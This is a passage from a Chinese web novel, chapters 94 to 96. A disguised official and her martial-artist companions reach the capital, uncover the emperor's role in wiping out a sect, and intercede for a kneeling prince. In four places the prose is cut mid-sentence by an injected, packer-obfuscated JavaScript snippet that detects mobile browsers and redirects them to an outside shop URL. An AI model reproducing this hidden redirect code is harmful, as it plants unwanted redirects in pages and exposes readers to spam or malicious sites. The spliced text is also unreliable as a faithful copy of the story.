“我表哥只是吓晕了,没什么问题。”蒋玉蓉收回搭在陈祥手腕上的手指,安下了心。 春信见守一过来,压低声音无不惊讶道:“这大侠身上的肉都好有力啊,那么壮实,感觉一拳能把我打飞!可是竟然还那么灵巧,我看我哥他们一定也打不过他的。” 春信言语中的崇拜让守一的心沉了又沉,她目光晦暗低头不语,春信问:“你怎么了?”她才朝那边努努嘴:“你看他俩,像是偶遇么?” 春信看了看,险些惊掉了下巴:“他俩认识啊?”她的目光瞬间凶狠起来:“那男的不会是敏敏的相好吧?!” 蒋玉蓉不小心惊呼一声,忙捂住了嘴:“我什么都没听见。” 守一的眸子又黑了几分,有这么个武艺高深的相识,胡碟也不简单呢。 春信叹了口气,愤愤地低下了头。 再抬头时,马车早已荡荡前行多时。 “各位,这位是云江。”胡碟抬掌指向云江,“是我的……朋友。” 云江抱拳道:“云江,字挽澜。我愿大江之畔,力挽狂澜。各位,幸会。” 守一用布条将两截断刀绑在一起,头也不抬:“那伙黑衣人我看过了,身上有金梅图案,应该与当年追杀刘庆的是一伙人。” 云江歪歪地靠在胡碟身上:“赵家还是要对你动手了。” 胡碟冷笑:“也是时候了。” 守一擦刀的手一顿,这云江怎么什么都知道? “哎呀,我方才我从马车上滚下来的时候擦到手了!”蒋玉蓉对胡碟道,“哥哥你有没有事啊,我这儿有伤药。” 春信没好气地指着自己的背:“你姐姐我这儿也伤到了,你怎么一点也不问问我呢?” 蒋玉蓉抱歉道:“对不起……春信姐姐,这药粉你拿去吧。” “不用了,没多大点伤。”春信别过脸。 云江早便发觉胡碟行动之间的端倪,搬起她的腿道:“我看看你膝盖,是摔到了吧?” 云江动作麻利地将胡碟裤子捞起来,还没捞到一半,就被一双碧色衣袖的手给夺了过去。 春信半蹲在胡碟面前,将她的腿放在自己膝上:“我家主子的伤就由我这个奴婢来看好了。” 云江有些戏谑地看向胡碟,胡碟也有些哑然失笑,这还是那个说“我是大师兄的师妹,又不是他真的奴才”的人么? 胡碟扒过春信气鼓鼓的脸:“你这是怎么了?” “没什么。” “你的伤呢,先别管我了,你的伤可要紧么?” 春信“噌”的一下站起来,背上的伤口扯得疼,龇牙咧嘴道:“不要紧。” 云江道:“这位姑娘还是好生坐着吧,我来看她的伤就好。” 胡碟道:“你就好好歇着吧,我什么时候叫你伺候过我了,你伤的不是背么,怎的脑子也扯坏了?” 春信“哼”了一声:“行行行,你自从见了云公子啊,嘴角就没放下来过,我不打扰你们了。” 胡碟和云江:“……” 要是春信知道她叫云逸杰,或许也不会这样想了。 胡碟清了清嗓子:“春信啊,你和守一路上好好休息,等到了南都,好与这位……云公子,切磋切磋。” 春信正准备严词拒绝,便听胡碟道:“这位云公子的武艺你们也瞧见了,她的毕生所愿就是打遍天下无敌手,我曾与你讲过的,若有机会,让你和她交流比试一番,你不会忘吧?” 春信狐疑地想,她哪有答应过? 胡碟冲她挤挤眼,春信这才想起第一次见面的时候,胡碟说过她有个妹妹,也很是喜欢武艺,难道…… 胡碟竖起食指放在嘴前,示意她不要声张。春信张着嘴,眼里又亮起来,看向云江的眼神中满是崇拜:“一定一定,一定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13212379|124185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好好切磋!” 蒋玉蓉凑上前来:“我帮你看看腿吧,虽然学的是仵作,但活人我也会看一些的。” 她细心检查一番,发现胡碟膝盖处已是红肿,皱眉道:“大人膝盖处可是有旧疾?” 云江抢答:“可不是么,这位大人好管闲事,全天下的案子都归她管,寒冬腊月天去给别人找人证,费力不讨好不说,还留下伤,你别管了,疼死她得了。” 蒋玉蓉摇头道:“大人,您当爱惜身子才是。方才许是掉下来时磕碰到了,没伤得太深,但是会疼上几日,影响行动,您就趁机养一养,少活动,伤筋动骨一百天呢。” “明白了,多谢蒋姑娘。”胡碟柔声道,“陈仵作还没醒么?” “表哥该醒的时候会醒的,多谢大人关心。” “守一、春信。”胡碟道,“你们交手之下,觉得这批人与那日在禹城遇见的,是否同一波?” 二人异口同声回答道:“不是。” 春信道:“招式、习惯,都不一样。” 守一道:“行动方式和目的也不一样。” “这波人是赵家的人,还请来了天璇阁的杀手。”胡碟道,“那么那日在禹城的杀手是谁的人?” 几人皆是沉默。 胡碟猜测道:“那日他们说,我为谢明乾做事,就该知道自己的下场。会不会是谢明乾的仇家?” 守一道:“有可能。不过...这么些年,也没有哪个仇家找上门过。” 春信道:“我也没记得有什么仇人。” 云江问:“也许不是江湖上的?幽王可有什么政敌?朝堂之中可有仇人?” 守一道:“朝堂之上......我们一直在山里,连朝堂都没接触过,能有什么政敌?” 胡碟道:“未必。他可是皇子,有些人的身份,从出生起就带着较量。” “难道是...”云江眼中闪过片刻凝重。 “先前我便觉得,谢明乾突然被叫回去有些蹊跷,现在看来,恐怕最先发现谢明乾踪迹的便是这位...了。” 事关一位不知深浅的权贵,胡碟不想提及太多,便隐去其姓名。 “他发觉谢明乾行踪之后,首先告状,再次告诉晋王。于是刺杀有了第一次、第二次。” 云江道:“晋王是他舅舅啊,这样说就说得通了。” 胡碟叹了口气:“不知谢明乾是否遇刺。” “不用担心他。”春信道,“他们有三个会打的人!会安全的。” 胡碟一笑:“怪我不会打,拖了两位侠士的后腿了。” 春信爽朗地笑开。 “两位姑娘,还不知你们姓什么,不然以后这么好做朋友?”云江道。 “哦对,我们平日不太爱说自己姓什么,因为我们都是孤儿,都是跟着师门姓的。五年前那件事之后,我们也不能再用那个姓走江湖了。”春信解释道。 “不过可以说一下,这个姓比较少见,我们姓莫。” 云江却好似如临大敌:“姓莫?哪个莫?” 春信觉得奇怪,看胡碟,却也是那边错愕的表情。 94. 第九十四章 “你们师门都姓莫是什么意思,是随了谁的姓?”云江问。 春信答:“似是第一代的祖师就姓莫。后来我们的弟子大多都是孤儿,所以大家都由师门取名,随师门姓。” 胡碟眉头蹙得更深:“第一代的祖师……净巍宗是从什么时候开始建立的?” 春信有些不明所以,但还是如实说了:“大概也就是与大昭建国差不多吧。” 胡碟与云江对望:“大昭开国之时的莫家,原来就是净巍宗。” 云江有些惋惜道:“是啊,我这也才想起当年母师说过,莫家退隐江湖,是退出朝堂成为江湖组织了。” “四姓起义之时,赵家组织起南边大量的土地,负责统筹军备及钱财,从那时起便掌管着财政大权,以至于今天仍然制霸着朝堂;谢家则负责战略布置,与敌友谈判,呼风唤雨最得民心;莫家军由净巍宗祖师招买民间兵马而来,带头冲锋陷阵,最后战胜之时已经不剩多少人了,杯酒释兵权之后,莫家创立了净巍宗,退隐江湖;剩下一支娘子军,当时负责在后方招兵买马,实则也是主要的战斗力,只是在后来因为是女子,所以被隐去了姓名,人们连名字也没听说过了。” 胡碟道:“原来绕了这么大一个圈,净巍宗就是当年的莫家军啊。所以谢明乾一个皇子,会到净巍宗去,也就说得通了。” 春信检查了一番陈祥,见他还未醒,后怕道:“这些都是不许提起的往事,你俩倒是讲得顺畅,停都不带停的呀。” 胡碟直直地望着蒋玉蓉,蒋玉蓉立马捂住嘴:“我的嘴可严了!你们继续,不用管我!” 胡碟笑对春信道:“看吧,这些话你知我知,又没有外人,说说也无妨的。” 春信从善如流,立马表现出了兴趣:“那你继续说,为什么皇帝会送皇子来净巍宗?” 胡碟一看,马车上除了那个昏睡的人之外,都悄咪咪竖起了耳朵。 她无奈道:“因为当年净巍宗退隐也是有条件的,净巍宗祖师是个不喜杀戮之人,他的梦想便是天下海晏河清,对于武艺,也是希望能武力保护百姓。所以那时便与皇帝有了个约定,每代的皇子之中,要送一个人上净巍宗的山门,传习武艺,成为武将保家卫国。” “大昭的皇帝向来忌惮武将,自然而然,送到净巍宗的皇子必定失去了继承大统的可能,所以历年来,选择送哪个皇子上山,都成了皇帝们不得不面对的难题。” 春信道:“所以大师兄不是因为被皇帝不喜而故意送上净巍宗的,而是按照约定,不得不这么做!” “没错。” 春信咂咂嘴:“实在有趣,跟话本一样有趣。” 马车昼夜不敢停歇地向前进着,如同马车上的人一般,因为心中的振奋与激动而难以平复。 一个阳光洒落道路的早晨,马车缓缓在南都城门前停下。 胡碟正襟危坐,捏紧了衣角,目不斜视,如一尊雕像一般有些难以动弹。 南都的男人没什么好怕的,可是她缘何如此紧张呢? 她撩开窗帘向外看,熟悉的街道熟悉的人,可是一切好像都不同了。 因为这一趟离开,她亲眼见到了很多,也明白了更多,有些见闻,书中不曾有,南都也不曾有。 南都城门处有一高塔,从城门下看去,高耸入云,却有些阴冷。 此地是为困住高贵妃魂灵所驻,层层封锁,不得进也不得出,常年有高僧驻守,僧人粮食耗尽精力耗竭之后,再换一批新人进去。 每年只有皇族祭祀之日,才能开启塔门。 据说是为了长明灯不息、诵经声不断,否则妖妃亡灵逃出,大昭百姓不得安宁。 胡碟望着那青灰色爬满青苔的塔,心下叹息。 逝者该超度送往才是,却被困在此处,何来害人之说,何其荒谬。 《道德经》中讲,五色令人目盲,五音令人耳聋,五味令人口爽,驰骋畋猎令人心发狂,难得之货令人行妨。是以圣人为腹,不为目。故去彼取此。 她此刻忽然有些明白了。 有些东西得亲自去看看。 从今踏入南都,再不问值不值得。 - 过城门后往里行了一段路,便至梧桐苍翠的小巷旁,各人去往何处成了难题。 胡碟首先关心案子和证人:“陈仵作应要按照幽王的需求去做人证,怕是该去方便幽王来消息的地方。” 陈祥在快到南都的时候便醒了,昏睡得晕晕乎乎的,这会儿子只知道抱拳道:“各位大人说了是,只要能保证我和表妹安全,我们听从调遣。” 春信则想着自己该跟着谁的事:“我对你说的没意见,按理说陈仵作可以先回幽王府,那里是幽王的家。不过我和守一呢,还是要跟着胡大人,否则的话我们不放心她的安全。你说对吧守一?” 守一面无表情地点头:“是。” 胡碟无奈,这两人是真的不关心自家大师兄。 云江嘴角抽搐:“你们觉得我保护不好她么?” 守一望了云江一眼,有些心虚似的低下头。春信则避而不答,接着道:“不过幽王府已经五年多没有住人了,年久失修不说,可能里面的下人都变成间谍了,若是陈仵作和蒋姑娘住进去,我只怕是他们等不到幽王叫人来传。” 胡碟抬头看了看马车车顶,叹了口气,第一次觉得如此难以做抉择,只好道:“我家只是个一进的院子,可住不下这么些人。” 春信“噌”地一下抓住云江的袖子,在云江震惊的眼神中问道:“大人,你家呢?” 云江扶额无奈道:“道门中人不妄语,我总不能说不能吧。” 胡碟道:“算了吧,就到我家去吧,阿江家和我家是邻居,两个院子加起来应该还是勉强能住下这么多人的。但是,”她刻意加重了语气,“幽王不能住过来。” 谢明乾如果住过来的话,太明显,太危险。 不过她没有说出口。 “不管他,他肯定得住回幽王府去的,不然有得是人告他的状。”春信道,“说起来,待会儿我还得去问问他现在何处,行动进行到什么地步了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13223395|124185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胡碟道:“他回来之后该立即进宫才是,左不过也就快我们两三天,应该早就进宫交代过此行的目的了吧。现在,或许已经回府了?” 春信道:“我猜也是。既然如此,我就先同你回去,之后再去问他的消息吧,反正也不急。” 胡碟无奈,春信真是怕跟不上她呀,道:“行行行,先带你去参观一下我的小破宅子,之后你速去打听打听你大师兄的消息吧。” 马车缓缓驶入小巷,在一座没有牌匾的偏僻小院前停下。这院子灰头土脸,十分不起眼,安静地躲在闹市弄巷之中,恰和胡碟的性子相称。 众人在胡碟略显不自然的表情带领下跨过门槛,通过垂花门,便到了院子里,左右各是东西厢房,正房在北边,兼有左右两侧的耳房。院子不大,种着几棵歪歪斜斜并不繁茂的枣树,显得有些荒芜。 北方正房之前的院子里有一横池,从东西厢房和北正房装置轩窗曲槛,可以俯瞰池水。南边回廊两旁各有一池,池中,种莲养鱼在其中。 春信叉腰站在垂花门背后的水池旁,指着前方道:“你这房子修得别有洞天,甚有诗意,只是那个角落缺点花,待本姑娘为你寻一丛来填上。” 胡碟听闻她说“别有洞天”,眼前一亮,欣然笑道:“春信果然知我心,字字句句说在我心门之上。” 春信拍拍胸脯:“那是自然。” 胡碟道:“春信姑娘已见过了寒舍,可以安心去做事了吧?” 春信摇头晃脑道:“那好吧,本侠士就先去了。”说完利落地跳上墙头,飞檐走壁离开了。 云江目光追随春信看了片刻,笑道:“这姑娘轻功可以啊。” 胡碟挑眉:“是吧,她们俩都很厉害的。” 云江对剩下的人道:“陈仵作住到我的院子里吧,我好护他安全。蒋玉蓉姑娘就不必刻意保护起来了,免得反而被盯上,你就当是来访的客人,同春信守一住在阿杰……啊这个,”她心虚的躲开胡碟瞪人的眼神,“住在这个啊杰出的胡大人家里便可。” 说完后便带着陈祥去了旁边院子。 蒋玉蓉巴不得,欣然答应,屁颠屁颠地跟着胡碟去了西厢房。 守一跟在后头,道:“我和春信睡一起就可以。” 胡碟道:“家里只有一个不会说话的老仆,其实剩下的房间还挺多的,不用那么挤。” 守一道:“你想多了,我只是不习惯和她分开,若有紧急情况,我怕不方便而已。” “……好的。” 胡碟安顿好众人,好容易坐到书房喝了口茶,春信便火急火燎地回来了:“完了完了完了,我大师兄完了!” 胡碟吓了一跳,嘴里的茶水差点没喷出来:“怎么了?你慢点说。” “我哥和破山在幽王府等着我呢,说两日前他们便到了南都,那时大师兄便独自进了宫,不许侍卫跟随,如今两日过去了,他既没回来也没有任何消息,恐怕是出什么事了!” 胡碟忘了眼昏黄的云彩,心想算上今日,不止是两日了。她不免有些心焦。 95. 第九十五章 胡碟冷静地分析道:“两三日都未回来,一定是出事了。但出事也分很多情况,有可能是出了些小状况,也有可能是惹来了大祸事。他若是在宫外遇险,则很有可能同我们先前一样,是被有心人刺杀。但若他自进入皇宫就没出来过,那么就只有一种可能。” 春信与胡碟对视,异口同声道:“被皇帝扣住了。” “是因为他擅自离开边疆么?”春信猜测道,“擅自离开边疆一事可大可小,若是有心人挑拨,他极有可能被皇帝猜忌,你之前不是说,他之所以被急招回南都就是因为被人告密么?” “是有这种可能没错,可是他此次回来,为净巍宗翻案是主要目的,故而也有可能是他翻案出了些问题。” “能有什么问题?证人我们已经找到了呀,”春信恍然大悟,“难道是因为证人没有同他一起回来么?他是个急性子,你我再清楚不过了,我哥说他们回来之后,吉祥公公让他先回府上洗去尘埃,他都没答应,直接纵马就往宫门去了。” “他见到了皇帝,将内情吐露,但却缺少最关键的证人,所以不被相信,因此出了些问题,”胡碟道,“你是这个意思么?” “对,”春信点头,“当务之急,是否我带陈祥进宫,便可解当前局面呢?” 胡碟沉吟片刻,皱眉摇了摇头:“不妥。若真是如你说的那般,怎么会我们一点消息也没有?他若只是为了等证人,为何连句传话都没有?若我是他,我必定是要派人传话,叫你们抵达南都之后尽快将陈祥送进宫才是,可是你说,春雨破山也未曾得到什么消息啊。” 春信这才明白过来:“是啊,这点有蹊跷。” 胡碟摩挲着下巴,凝眸深思:“到底是出了什么事呢……” 一瞬之间的焦急占了上风,胡碟终归还是说出了在心底纠结好久的话:“春信,劳你去叫我妹妹过来。” 春信先是愣了愣,才真的意识到云江就是胡碟从前口中的那个妹妹,答道:“好。” 云江很快便随着春信回来了,大步流星跨入院子,老远便喊道:“阿杰,发生什么事了?” 春信有些迷糊的看向她,有些不明白她方才嘴里的称呼是什么,不过眼下事情紧急,她也无心去纠结了。 胡碟道:“幽王谢明乾,到了南都便立马入了宫,两三日仍没有任何消息,你去打听一下,究竟出了何事。” “好。”云江拍了拍胡碟的肩膀,飞速转身离开。 春信仍是恍惚着,云江虽武艺强悍无人能敌,可宫里的事,她竟也能打听到么? 她没来得及细想,胡碟便又开始理线索了。 “春信,那日提起净巍宗便是当年的莫家军后,我心里一直有些疑问,像一根轻飘飘的羽毛,摸不着,却扰得我的心很乱,有什么东西,我没理清楚。” 春信道:“我能帮到什么吗?” 胡碟道:“我也不知。其实在接触净巍宗案子时,我总有些疑问,只是一直以来,觉得这些对找人证没有太大帮助,所以没有去深究过,却没想到这样的忽视,造成了如今的后果。” 春信不解:“这些事与大师兄回不来有关系?我有些不明白,但你对什么有疑问,尽管问我。” 胡碟眼底晦暗如深:“那年你们从南都去往禹城的路上,谢明乾是怎么受伤的?” 春信快速回忆着,有些着急:“嗯……我记得是、我记得是这样的,他出发时,官道上贴了告示,说雨下太大,路上恐有落石,于是官府封锁了官道,不许人上官道行走。可当时的情况,他怎么可能不去呢?所以他找了附近的人带路,想绕路绕过那一截,可是冒险终归是有风险的,就在那山路上,山石滚落,他身手好及时避开,可还是被砸中了腿,因此才受伤的。” 胡碟立马明白了其中的问题在哪儿:“这是个局,这很明显是个局啊。” 春信慌了:“为什么呀?” 胡碟有些沉重地摇摇头:“官道被封,是很容易操作的事,设局的人一定知道谢明乾无论如何也会去禹城,可又不想他去,于是设局一个,拦不住,便让他死在路上。” “这算计竟然那么早便开始了么?” “这便是问题所在,如果那么早便对谢明乾下手,那么下手的人是谁?他是否一早便知道禹城发生的事,所以才下的手?还有最重要的一点,如果设局的人与最后陷害净巍宗的人是一伙的,那么我们一直以为的钦差意外死亡,有人为脱罪陷害净巍宗便不一定是真的了,也就是说当年钦差之死便不可能是意外,而是早有预谋。” 胡碟冷冷道:“这是个很大、很大的阴谋,背后的秘密也一定很大很大。” 她猜对了,禹城真的有个大秘密。 胡碟走到窗前,外间天已经阴沉下来了,黑暗从天边漫延侵袭着日光。她难得地有些不平静,竟也担心起云江来了。不过也对,云江的能力自不必说,可关键是皇宫里的消息就和那位难以捉摸的皇帝一样高深莫测,怕只怕云江打听到了消息,也不知皇帝真实的意图来。 胡碟在南都的书房也是一样,窗边有神龛供奉着祖师魏华存的神像,慈容栩栩,摆放着香几贡品,这神像是当年母师让她们带上的。 等等,胡碟好像发现了被她忽略的东西。 母师从小便给她们讲述着四姓起义的事,那时她便愤愤不平,娘子军也打了天下,为什么母师不能做皇帝,不仅如此,连姓名也无,连像莫家军一样杯酒释兵权的机会也没有。 对啊,历代的皇帝都提防着曾经的盟友们,赵家、莫家、林家,都是他们的眼中钉。 娘子军已经完全消失匿迹了,母师说,狡兔死走狗烹,娘子军的前途是可以预见的,如果不藏起来,总有一天一定会死绝的。 那么净巍宗呢?净巍宗是否也是一样的宿命? 昭恒帝和过往的皇帝都一样,疑心很重不说,对谢家完全掌握天下的事非常有野心,所以才会暗示她可以去查赵家的把柄。 那么皇帝是否想铲除净巍宗呢? 毕竟那是当年的两支军队之一啊。 “我明白了,我全明白了。” 春信见胡碟在神像前念念有词,走过去便见她失神地一动不动,问道:“怎么了?” 胡碟一把抓住春信的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13234266|124185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“我明白了,这一切的结果,早就注定了!” “什、什么结果?” 胡碟这才对上春信的眼神,一时间回过神来,觉得自己接下来要说的话有些沉重:“也许从一开始,净巍宗被冤枉,被灭门,就是很多双手静心策划的局,包括皇帝,或许也想趁此机会解决这个后患,所以……”她的生意有些沙哑,毕竟这样的命运,也差点是娘子军的命运。 “所以当时很快就结案,很快便处决了所有人,我一直都很好奇,就算禹城案真正的凶手想找人当替罪羊,难道这一路上大大小小的官员,就真的一个有良心的都没有么?可是我突然明白了,如果这件事中,有人买通了官员,皇帝也默许甚至支持下面的人这样做,一切就可以畅通无阻了。” “所以净巍宗被灭门,问题不在于当时的人证、物证出了问题,也不在于没有调查清楚,而在于从罪名落到净巍宗头上的那一刻起,便有人想要他们死。” “而天下最忌惮净巍宗的,莫过于皇帝,他顺水推舟,默许着一切,就等着这场冤案帮他解决心头大患。” “所以……”春信也早已是泪如雨下,“所以,我们再努力也是白费,就算带回来了证人也没用对么?因为那双手要我们死,我们就一定会死,对么?” 胡碟艰难地回答:“……对。” “所以,大师兄进宫想要翻案,在皇帝看来,是旧事重提,他不可能为一个他本就想除掉的净巍宗翻案,白白在天下人面前承认官府失职。”春信哽咽道,“我们从一开始就输了,我们赢不了的。可是,可是大师兄怎么办……” 胡碟的眼神冷得不能再冷,阴得不能再阴了,她微微低着头,阴影在她脸上驻足。 她先前心急,其实不必让云江去查的,还白白暴露,但现在不重要了,春信她们早晚会知道。 她似乎做了个决定。 也是时候了。 胡碟深吸了一口气,拍了拍衣角:“我去换件衣服,等会儿出去一趟。” 春信合上门走到院子里,守一、春雨和破山都在院子里站着。 春信将胡碟的话一五一十地复述一遍,几人好似被冻住一般,动弹不得,周身一片冰凉。 云江在这时穿过了垂花门,匆匆走进来:“幽王不知为何触怒了皇帝,被罚跪在明德殿前,已经跪了几日了。” 没有人回应,大家都好似意料之中。胡碟换了身干净的月白长衫从书房出来,迎面道:“我知道了,辛苦你了。管家,备马。” “你去哪儿?”云江问。 “进宫去。” 院子里的空气好似又冷了冷。 - 谢明乾跪在明德殿前的台阶上,浑身僵直酸疼却浑然不觉。 他双目赤红,死死盯着面前紧闭的大门。 “宣,大理寺八品理案郎云逸杰觐见。” 谢明乾听见吉祥公公的高声喊话,有一丝诧异。 他还活着? 谢明乾跪在这里三日,第一次活动了一下脖颈,回头看到一双清冷的眼。 他难以控制自己欣喜又错愕的神情。 96. 第九十六章 谢明乾本是个略学文章,醉心武艺的少年,从前他关心的是天下谁的武艺最高,五年前净巍宗的事之后,他最关心的事便变成了天下探案最厉害的人是谁。 后来他听说,南都有个名为云逸杰的神探,为大理寺的八品理案郎,虽然官职不高,但探案之能极为高强,无论什么样的案子他都能破。 谢明乾暗地里找寻线索,却因为远离禹城,很多事难以亲力亲为,所以这些年来进展缓慢,他也无缘与云逸杰一见。 直到知道当年采药郎刘庆的踪迹,他才孤注一掷径直奔向了禹城。 在那里,他遇见了一个才能足以比肩云逸杰的人。 那个人与眼前清冷的身影合为一体,她脊背挺直,大步流星走过他的身边,没有侧目,往殿内走去。 七尺身量,五官长得小巧寡淡,四肢修长,高挑瘦弱,眉细短如松针一般稀疏清晰,耳长而立,乃大富大贵闻达拜相之姿。 是了,人们总说云逸杰“柳叶眼明察秋毫,指似竹执笔书罚”,不就是这般模样么? 云逸杰,原是庄周梦蝶。 云逸杰衣摆翩跹,如一只轻盈的蝴蝶缓缓而至,到昭恒帝面前行礼问安。 “臣云逸杰,有要事上禀,参见陛下。” “起来吧。” 昭恒帝不发一言,似是在等待着云逸杰开口。云逸杰低垂着眼睫,面无波澜,缓缓开口道:“陛下,臣有要事要禀诉,无关之人还请先请走吧。”说完意有所指地侧身朝外歪了歪。 明德殿的大门一直开着,谢明乾就这么跪在昭恒帝的眼前,嘴角裂开了口子,血迹早已干涸却未擦去,云逸杰进门之时看得一清二楚。 她选择这时候来,本就是来看看他是否安好,顺便搭救他的,自然要先保他平安。 昭恒帝眼中隐藏着按捺不住的激动,自然觉得责罚谢明乾在眼下并不是什么要紧事了,挥挥手:“来人,请幽王回去。” 小太监立马将命令传下去,跪在殿外的谢明乾抬头目眦欲裂地看向里头:“父皇,我不回去!” 正巧碰上云逸杰侧目的眼神,当中的平静与笃定,一如这段日子以来的时时刻刻,让谢明乾安了心,终究是垂下头想了一会儿,撑着膝盖站起身,摇摇晃晃离开了。 他站在宫门前回望,想起自己策马疾驰回到这里的那天。 这里从来不是他的家,也没有他的家人,十七岁封王建府之前,他一直住在净巍宗,而在那之后,他在南都小住了两个月,便遇上禹城洪水,净巍宗灭门,他保下了四个师门的孩子,被派往边疆,他想,父皇对他这个儿子从来都是眼不见心不烦。 他前脚走进明德殿,后脚一个白玉的笔筒就向他砸来,他不敢躲闪,笔筒砸在锁骨上,紧接着又是一巴掌落到脸上,他顺势偏头跪下。 “儿臣有错,还请父皇赎罪。” 昭恒帝怒不可遏:“不孝子,你还知道我是你父皇?你对你师父还真的敬爱有加,这么多年了,你还放不下?” 谢明乾心中无奈,他也想敬爱自己的父亲,可是这么多年,他没有过机会。 他当然不会把这些话说出来,只能道:“父皇,如果师父只是死去,我只会年年给他烧纸,请高功道人做法,仅此而已。可师父死得不明不白,我没有办法放下……” 昭恒帝阴沉着脸,狠狠甩袖子转身,好似隐忍道:“净巍宗当年的事,人证物证俱在,群臣喧腾,要不是朕当即将你送去边疆,你能像这般任性妄为么?你……你知不知道朕的良苦用心?” “儿臣知道,儿臣感念父皇的爱护,可是当年的事确有蹊跷,儿臣已找来了人证,父皇只要宣来人证,一切便可明了了。” “够了。”昭恒帝低声喝道,“你太天真了,你若提起当年的事,立马会被群起而攻之,你以为你谢家可以做皇帝,就可以只手遮天吗?到时候朕也保不下你。” 谢明乾错愕地抬起头,他不明白,办案讲事实拿证据便可,谢家就算是无权无势,他哪怕不是皇子只是一介布衣,可是他有理,难道他不该赢吗? 他努力了这么多年,没有想要靠权势,只是想靠证据讨个清白而已啊。 昭恒帝发现他没明白,语重心长解释道:“你我父子,我怎能害你?你知道当年禹城一案背后的人是谁么?是赵家!朕只有两个儿子,明麟的母家是赵家,这些年委屈你了,父皇不能光明正大地护着你,可也不能让你去送死啊!” 昭恒帝坐回龙椅上,似是有些无力,脸上透出些疲惫。 谢明乾看着年老了的父亲,心里有些动容。他一直以为这个父亲冷血,没有感情,也不会被打倒,却原来他也会老,也会流露出这样的神色。 谢明乾在纠结,在挣扎,他在亲情和师徒情之间徘徊,在苟且和真相之间游走。 “父皇恕罪,儿臣可以什么都不要,只要一个清白。” 昭恒帝好似早便预料到,冷冷道:“给朕去外面跪着。” 他就这样一直跪到了今日,本以为皇帝总归会回心转意,却没想到今日仍是没有改变。 可是云逸杰在,她让他心安,虽然他知道,也许仍然不会有结果。 但他终于能允许自己的灵魂逃走了。 - 金雕玉砌的宫殿关上了大门,摇曳的烛火照亮满室的金碧辉煌。 云逸杰知道自己撒了谎,其实她只能做到让谢明乾离开而已,在想清楚皇帝对净巍宗态度的那一刻,她便知道翻案的结果了。 要想翻案,除非翻天。 “陛下,初春时臣能够顺利离京去往禹城,多谢陛下皇恩照拂,臣定当为陛下死而后已。” 昭恒帝很是满意:“敏理不必客气,朕能得贤才而用之,也是上天垂怜。当日朕听说你当街撕破官袍,出言不逊,便觉得奇怪,便叫了内卫去找你,果然,你是有苦衷的,你让朕佯装生气将你逐出南都,又叫朕给你两道圣旨,一道圣旨迷惑对手,一道密诏好到禹城办事。怎么样,可还顺畅?” “回陛下的话,臣拿了陛下密诏,在禹城得了助力,多谢陛下。” 她将那道密诏给了徐友来,在禹城几乎做什么都没人拦着,虽然不能大摇大摆地事事亲自去做,但也算是便宜。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13254445|124185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>昭恒帝心情很好:“不必客气。那你许诺朕的,你能带回来朕想要的东西,可带回来了?” 云逸杰跪下:“陛下恕臣无能,没能得到确凿的证据,但对于赵家的罪证,臣心中已经有了方向,再多些时日,也许就能帮殿下解决一直以来的忧患。只是当时假称我去了豫城,只是缓兵之计,躲得了一时躲不了一世,臣前几日被杀手追杀,不得已,只能早些回来了。” 昭恒帝面色有些凝重,思忖片刻道:“朕清楚了。此事确实是有些着急了,你一个文官,只身前往龙潭虎穴,确实不方便。此事等朕来安排,等到合适的时机,你可愿再为朕走一趟?” 云逸杰俯首:“臣为陛下,肝脑涂地,在所不辞。” “好,很好,那时朕一定让你光明正大,带着卫队前去办案。”昭恒帝道,“朕憋屈了太久,等这一天太久了,多亏有你啊,敏理。” 云逸杰浅浅一笑:“陛下折煞臣了。” “听说你在禹城时与甫泽相熟?” 昭恒帝特意说了谢明乾的字,这是有心试探,皇子的字,非轻易能为人所知。 云逸杰作出迷茫的模样:“恕臣冒犯,陛下说的甫泽,可是幽王殿下?” “没错。” “回陛下,臣初到禹城时,不小心卷入了案件之中,被幽王殿下所怀疑,所以与他遇上了。幽王他……”云逸杰装作有些难以启齿,“他少年心性,做事总是很直接的,所以我想若是借着他的手查案,人们便只会被他的一举一动所吸引,也就能为臣做些掩盖了。” 